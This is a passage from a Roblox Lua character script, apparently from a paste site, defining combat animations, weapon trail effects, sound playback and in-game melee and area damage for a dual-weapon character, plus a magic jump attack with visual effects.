  3308. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3309. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3310. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3311. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3312. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3313. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3314. end
  3315. for i=0,1,0.005 do
  3316. swait()
  3317. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3318. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3319. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3320. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3321. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3322. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3323. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3324. end
  3325. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3326. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3327. for i=0,1,0.005 do
  3328. swait()
  3329. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3330. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3331. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3332. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3333. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3334. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3335. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3336. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3337. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3338. end
  3339. for i=0,1,0.04 do
  3340. swait()
  3341. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3342. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3343. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3344. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3345. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3346. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3347. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3348. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3349. end
  3350. --dmgstop()
  3351. attack=false
  3352. Humanoid.WalkSpeed = 12
  3353. if TrailDeb == true then
  3354. TrailDeb = false
  3355. end
  3356. end
  3357.  
  3358. function attackone()
  3359. attack=true
  3360. if TrailDeb == false then
  3361. TrailDeb = true
  3362. end
  3363.  
  3364.  
  3365. coroutine.wrap(function()
  3366. local Old = Handle.CFrame.p
  3367. while wait()do
  3368. if not TrailDeb then break end
  3369. local New = Handle.CFrame.p
  3370. local Mag =(Old -New).magnitude
  3371. local Dis =(Old +New)/2
  3372. local Trail = Instance.new("Part",Character)
  3373. Trail.Material = "Neon"
  3374. Trail.Anchored = true
  3375. Trail.CanCollide = false
  3376. Trail.BrickColor = TorsoColor
  3377. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3378. Trail.TopSurface = 0
  3379. Trail.BottomSurface = 0
  3380. Trail.formFactor = "Custom"
  3381. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3382. local ms = Instance.new("BlockMesh",Trail)
  3383. ms.Scale = Vector3.new(1,1,1)
  3384. local TM = Instance.new("CylinderMesh",Trail)
  3385. TM.Scale = Vector3.new(1,1,1)
  3386. Old = New
  3387. coroutine.wrap(function()
  3388. for i = 1,0,-0.1 do
  3389. wait()
  3390. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3391. end
  3392. Trail:remove()
  3393. end)()
  3394. coroutine.wrap(function()
  3395. for i = 1,10 do
  3396. wait()
  3397. Trail.Transparency = Trail.Transparency +0.1
  3398. end end)()end end)()
  3399. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3400. for i=0,1,0.08 do
  3401. swait()
  3402. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3403. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3404. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3405. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3406. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3407. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3408. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3409. end
  3410. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3411. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3412. for i=0,1,0.1 do
  3413. swait()
  3414. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3415. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3416. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3417. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3418. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3419. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3420. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3421. end
  3422. --dmgstop()
  3423. attack=false
  3424. con1:disconnect()
  3425. if TrailDeb == true then
  3426. TrailDeb = false
  3427. end
  3428. end
  3429.  
  3430. function attacktwo()
  3431. attack=true
  3432. if TrailDeb == false then
  3433. TrailDeb = true
  3434. end
  3435.  
  3436.  
  3437. coroutine.wrap(function()
  3438. local Old = Handle2.CFrame.p
  3439. while wait()do
  3440. if not TrailDeb then break end
  3441. local New = Handle2.CFrame.p
  3442. local Mag =(Old -New).magnitude
  3443. local Dis =(Old +New)/2
  3444. local Trail = Instance.new("Part",Character)
  3445. Trail.Material = "Neon"
  3446. Trail.Anchored = true
  3447. Trail.CanCollide = false
  3448. Trail.BrickColor = TorsoColor
  3449. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3450. Trail.TopSurface = 0
  3451. Trail.BottomSurface = 0
  3452. Trail.formFactor = "Custom"
  3453. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3454. local ms = Instance.new("BlockMesh",Trail)
  3455. ms.Scale = Vector3.new(1,1,1)
  3456. local TM = Instance.new("CylinderMesh",Trail)
  3457. TM.Scale = Vector3.new(1,1,1)
  3458. Old = New
  3459. coroutine.wrap(function()
  3460. for i = 1,0,-0.1 do
  3461. wait()
  3462. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3463. end
  3464. Trail:remove()
  3465. end)()
  3466. coroutine.wrap(function()
  3467. for i = 1,10 do
  3468. wait()
  3469. Trail.Transparency = Trail.Transparency +0.1
  3470. end end)()end end)()
  3471. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3472. for i=0,1,0.08 do
  3473. swait()
  3474. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3475. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3476. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3477. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3478. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3479. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3480. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3481. end
  3482. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3483. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3484. for i=0,1,0.1 do
  3485. swait()
  3486. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3487. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3488. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3489. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3490. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3491. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3492. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3493. end
  3494. --dmgstop()
  3495. attack=false
  3496. con1:disconnect()
  3497. if TrailDeb == true then
  3498. TrailDeb = false
  3499. end
  3500. end
  3501.  
  3502. function attackthree()
  3503. attack=true
  3504. if TrailDeb == false then
  3505. TrailDeb = true
  3506. end
  3507.  
  3508.  
  3509. coroutine.wrap(function()
  3510. local Old = Handle.CFrame.p
  3511. while wait()do
  3512. if not TrailDeb then break end
  3513. local New = Handle.CFrame.p
  3514. local Mag =(Old -New).magnitude
  3515. local Dis =(Old +New)/2
  3516. local Trail = Instance.new("Part",Character)
  3517. Trail.Material = "Neon"
  3518. Trail.Anchored = true
  3519. Trail.CanCollide = false
  3520. Trail.BrickColor = TorsoColor
  3521. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3522. Trail.TopSurface = 0
  3523. Trail.BottomSurface = 0
  3524. Trail.formFactor = "Custom"
  3525. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3526. local ms = Instance.new("BlockMesh",Trail)
  3527. ms.Scale = Vector3.new(1,1,1)
  3528. local TM = Instance.new("CylinderMesh",Trail)
  3529. TM.Scale = Vector3.new(1,1,1)
  3530. Old = New
  3531. coroutine.wrap(function()
  3532. for i = 1,0,-0.1 do
  3533. wait()
  3534. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3535. end
  3536. Trail:remove()
  3537. end)()
  3538. coroutine.wrap(function()
  3539. for i = 1,10 do
  3540. wait()
  3541. Trail.Transparency = Trail.Transparency +0.1
  3542. end end)()end end)()
  3543. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3544. for i=0,1,0.08 do
  3545. swait()
  3546. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3547. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3548. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3549. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3550. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3551. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3552. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3553. end
  3554. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3555. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3556. for i=0,1,0.05 do
  3557. swait()
  3558. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3559. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3560. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3561. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3562. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3563. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3564. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3565. end
  3566. --dmgstop()
  3567. attack=false
  3568. con1:disconnect()
  3569. if TrailDeb == true then
  3570. TrailDeb = false
  3571. end
  3572. end
  3573.  
  3574. function attackfour()
  3575. attack=true
  3576. if TrailDeb == false then
  3577. TrailDeb = true
  3578. end
  3579.  
  3580.  
  3581. coroutine.wrap(function()
  3582. local Old = Handle2.CFrame.p
  3583. while wait()do
  3584. if not TrailDeb then break end
  3585. local New = Handle2.CFrame.p
  3586. local Mag =(Old -New).magnitude
  3587. local Dis =(Old +New)/2
  3588. local Trail = Instance.new("Part",Character)
  3589. Trail.Material = "Neon"
  3590. Trail.Anchored = true
  3591. Trail.CanCollide = false
  3592. Trail.BrickColor = TorsoColor
  3593. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3594. Trail.TopSurface = 0
  3595. Trail.BottomSurface = 0
  3596. Trail.formFactor = "Custom"
  3597. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3598. local ms = Instance.new("BlockMesh",Trail)
  3599. ms.Scale = Vector3.new(1,1,1)
  3600. local TM = Instance.new("CylinderMesh",Trail)
  3601. TM.Scale = Vector3.new(1,1,1)
  3602. Old = New
  3603. coroutine.wrap(function()
  3604. for i = 1,0,-0.1 do
  3605. wait()
  3606. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3607. end
  3608. Trail:remove()
  3609. end)()
  3610. coroutine.wrap(function()
  3611. for i = 1,10 do
  3612. wait()
  3613. Trail.Transparency = Trail.Transparency +0.1
  3614. end end)()end end)()
  3615. coroutine.wrap(function()
  3616. local Old = Handle.CFrame.p
  3617. while wait()do
  3618. if not TrailDeb then break end
  3619. local New = Handle.CFrame.p
  3620. local Mag =(Old -New).magnitude
  3621. local Dis =(Old +New)/2
  3622. local Trail = Instance.new("Part",Character)
  3623. Trail.Material = "Neon"
  3624. Trail.Anchored = true
  3625. Trail.CanCollide = false
  3626. Trail.BrickColor = TorsoColor
  3627. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3628. Trail.TopSurface = 0
  3629. Trail.BottomSurface = 0
  3630. Trail.formFactor = "Custom"
  3631. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3632. local ms = Instance.new("BlockMesh",Trail)
  3633. ms.Scale = Vector3.new(1,1,1)
  3634. local TM = Instance.new("CylinderMesh",Trail)
  3635. TM.Scale = Vector3.new(1,1,1)
  3636. Old = New
  3637. coroutine.wrap(function()
  3638. for i = 1,0,-0.1 do
  3639. wait()
  3640. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3641. end
  3642. Trail:remove()
  3643. end)()
  3644. coroutine.wrap(function()
  3645. for i = 1,10 do
  3646. wait()
  3647. Trail.Transparency = Trail.Transparency +0.1
  3648. end end)()end end)()
  3649. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3650. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3651. for i=0,1,0.08 do
  3652. swait()
  3653. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3654. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3655. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3656. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3657. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3658. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3659. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3660. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3661. end
  3662. if anim then
  3663. anim.Disabled=true
  3664. end
  3665. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3666. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3667. for i=0,1,0.04 do
  3668. swait()
  3669. Torso.Velocity=RootPart.CFrame.lookVector*50
  3670. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3671. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3672. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3673. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3674. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3675. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3676. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3677. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3678. end
  3679. --dmgstop()
  3680. attack=false
  3681. con1:disconnect()
  3682. con2:disconnect()
  3683. if anim then
  3684. anim.Disabled=false
  3685. end
  3686. if TrailDeb == true then
  3687. TrailDeb = false
  3688. end
  3689. end
  3690.  
  3691. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3692. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3693. prt.Anchored = true
  3694. prt.CFrame = cframe
  3695. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3696. coroutine.resume(coroutine.create(function()
  3697. for i = 0, 1, 0.05 do
  3698. wait()
  3699. prt.Transparency = i
  3700. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3701. end
  3702. prt.Parent = nil
  3703. end))
  3704. end
  3705.  
  3706. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3707. for _, c in pairs(workspace:children()) do
  3708. local hum = c:findFirstChild("Humanoid")
  3709. if hum ~= nil then
  3710. local head = c:findFirstChild("Torso")
  3711. if head ~= nil then
  3712. local targ = head.Position - Part.Position
  3713. local mag = targ.magnitude
  3714. if mag <= magni and c.Name ~= Player.Name then
  3715. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3716. end
  3717. end
  3718. end
  3719. end
  3720. end
  3721.  
  3722. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3723. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3724. prt.Anchored = true
  3725. prt.CFrame = cframe
  3726. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3727. game:GetService("Debris"):AddItem(prt, 2)
  3728. coroutine.resume(coroutine.create(function(Part, Mesh)
  3729. for i = 0, 1, delay do
  3730. swait()
  3731. Part.CFrame = Part.CFrame
  3732. Part.Transparency = i
  3733. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3734. end
  3735. Part.Parent = nil
  3736. end), prt, msh)
  3737. end
  3738.  
  3739. function MagicJump()
  3740. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3741. attack=true
  3742. mana=mana-25
  3743. --[[ Humanoid.WalkSpeed = 0
  3744. for i=0,1,0.01 do
  3745. swait()
  3746. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3747. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3748. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3749. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3750. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3751. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3752. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3753. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3754. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3755. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3756. end]]--
  3757. Humanoid.Jump = true
  3758. Torso.Velocity = vt(0, 150, 0)
  3759. Humanoid.WalkSpeed = 64
  3760. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3761. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3762. for i=0,1,0.05 do
  3763. swait()
  3764. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3765. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3766. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3767. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3768. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3769. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3770. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3771. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3772. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3773. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3774. end
  3775. for i=0,1,0.02 do
  3776. swait()
  3777. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3778. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3779. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3780. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3781. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3782. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3783. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3784. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3785. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3786. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3787. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3788. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3789. end
  3790. Humanoid.WalkSpeed = 0
  3791. swait(8)
  3792. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3793. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3794. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3795. if hit~=nil then
  3796. swait(2)
  3797. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3798. ref.Anchored=true
  3799. ref.CFrame=cf(pos)
  3800. game:GetService("Debris"):AddItem(ref,3)
  3801. for i=1,10 do
  3802. local Col=BrickColor.new("Really black")
  3803. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3804. groundpart.Anchored=true
  3805. groundpart.CanCollide=false
  3806. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3807. local Col2=TorsoColor
  3808. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3809. groundpart2.Anchored=true
  3810. groundpart2.CanCollide=false
  3811. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3812. game:GetService("Debris"):AddItem(groundpart,5)
  3813. game:GetService("Debris"):AddItem(groundpart2,5)
  3814. end
  3815. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3816. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3817. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3818. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3819. for i=0,1,0.06 do
  3820. swait()
